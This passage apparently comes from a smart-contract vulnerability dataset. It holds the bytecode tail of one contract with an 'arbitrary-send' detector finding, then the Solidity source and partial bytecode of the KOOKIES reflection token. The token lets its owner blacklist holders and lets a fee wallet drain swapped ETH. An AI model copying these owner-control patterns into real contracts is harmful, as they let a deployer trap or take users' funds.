5fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610811565b600101611776565b600b54600160a060020a031681565b60005433600160a060020a039081169116146118a757600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f1935050505015156118d857600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600d5460ff1681565b600a6020526000908152604090205460ff1681565b600054600160a060020a031681565b6000600160a060020a03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156119845750600160a060020a033016316119f8565b81600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156119db57600080fd5b6102c65a03f115156119ec57600080fd5b50505060405180519150505b919050565b6000806000611a0b86611be7565b9150611a1687611be7565b9050611a2485828487611cab565b979650505050505050565b600080680100000000000000008610611a4757600080fd5b680100000000000000008510611a5c57600080fd5b680100000000000000008410611a7157600080fd5b680100000000000000008310611a8657600080fd5b505078010000000000000000000000000000000000000000000000008102700100000000000000000000000000000000830268010000000000000000850286171717949350505050565b600160a060020a03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611b1657600160a060020a038116600090815260066020526040902060129055611b90565b80600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611b5c57600080fd5b6102c65a03f11515611b6d57600080fd5b5050506040518051600160a060020a038316600090815260066020526040902055505b50565b67ffffffffffffffff81811692680100000000000000008304821692700100000000000000000000000000000000810483169278010000000000000000000000000000000000000000000000009091041690565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611c185760129150611ca5565b50600160a060020a038216600090815260066020526040902054801515611ca15782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611c7f57600080fd5b6102c65a03f11515611c9057600080fd5b505050604051805190509150611ca5565b8091505b50919050565b60006b204fce5e3e25026110000000851115611cc657600080fd5b69d3c21bcecceda1000000821115611cdd57600080fd5b838310611d105760128484031115611cf457600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611d3c565b60128385031115611d2057600080fd5b828403600a0a670de0b6b3a764000002828602811515611d0857fe5b949350505050565b815481835581811511610c5957600083815260209020610c59918101908301611d7a565b60206040519081016040526000815290565b6106a291905b80821115611d945760008155600101611d80565b50905600a165627a7a72305820282580457232af501be56a757063d85a98427d96a99e820744b28115bc11e2ae0029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,833
0x0b0c63a2901a514b8dda53b65f35c3db53404c9f
/** *Submitted for verification at Etherscan.io on 2021-06-02 */ // t.me/kookies // Kishu Cookies // $KOOKIES // contracts/Kookies.sol // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KOOKIES is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Kishu Cookies"; string private constant _symbol = unicode'KOOKIES πŸͺ'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 7; _teamFee = 7; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 7; _teamFee = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4.25e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280600d81526020017f4b6973687520436f6f6b69657300000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4b4f4f4b49455320f09f8daa0000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6007600a819055506007600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576007600a819055506007600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e